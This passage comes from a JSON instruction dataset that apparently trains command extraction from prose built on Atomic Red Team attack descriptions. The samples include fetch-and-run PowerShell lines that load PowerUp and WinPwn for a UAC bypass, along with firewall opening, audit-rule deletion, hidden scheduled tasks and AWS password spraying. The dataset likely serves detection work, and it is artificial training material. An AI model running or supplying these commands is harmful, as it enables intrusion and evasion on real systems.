    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The RDP port can be changed to a custom port by executing these PowerShell commands: Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp' -name \"PortNumber\" -Value #{NEW_Remote_Port}\nNew-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}",
    "output": "{\"command_list\": [\"Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\WinStations\\\\RDP-Tcp' -name \\\"PortNumber\\\" -Value #{NEW_Remote_Port}\\nNew-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Magic technique for UAC bypass can be executed with this WinPwn command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\cmd.exe\" -technique magic",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nUACBypass -noninteractive -command \\\"C:\\\\windows\\\\system32\\\\cmd.exe\\\" -technique magic\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For setting up a listening interface as part of HARDRAIN's proxying tactic (reference: US-CERT MAR-10135536-F), execute this command: netsh advfirewall firewall add rule name=\"atomic testing\" action=allow dir=in protocol=TCP localport=450",
    "output": "{\"command_list\": [\"netsh advfirewall firewall add rule name=\\\"atomic testing\\\" action=allow dir=in protocol=TCP localport=450 \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Running 'auditctl -D' eliminates all current audit rules, thereby erasing the audit trail and reducing system visibility, which can hinder security monitoring and compliance efforts.",
    "output": "{\"command_list\": [\"auditctl -D\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For creating hidden scheduled tasks that evade conventional detection, use the GhostTask utility with the following command sequence: \n\"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" \\\\#{target} -accepteula -s \"cmd.exe\"\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\GhostTask.exe\" \\\\#{target} add #{task_name} \"cmd.exe\" \"/c #{task_command}\" #{user_name} logon",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\PsExec.exe\\\" \\\\\\\\#{target} -accepteula -s \\\"cmd.exe\\\"\\n\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\GhostTask.exe\\\" \\\\\\\\#{target} add #{task_name} \\\"cmd.exe\\\" \\\"/c #{task_command}\\\" #{user_name} logon\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For network share discovery, execute this command: smbstatus --shares",
    "output": "{\"command_list\": [\"smbstatus --shares\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify valid AWS logins using GoAWSConsoleSpray, execute the following steps via the command: cd /tmp\ngit clone git@github.com:WhiteOakSecurity/GoAWSConsoleSpray.git\ncd /tmp/GoAWSConsoleSpray\ngo run main.go GoAWSConsoleSpray -a #{aws_account_id} -u PathToAtomicsFolder/T1110.003/src/aws_users.txt -p PathToAtomicsFolder/T1110.003/src/aws_passwords.txt",
    "output": "{\"command_list\": [\"cd /tmp\\ngit clone git@github.com:WhiteOakSecurity/GoAWSConsoleSpray.git\\ncd /tmp/GoAWSConsoleSpray\\ngo run main.go GoAWSConsoleSpray -a #{aws_account_id} -u PathToAtomicsFolder/T1110.003/src/aws_users.txt -p PathToAtomicsFolder/T1110.003/src/aws_passwords.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module 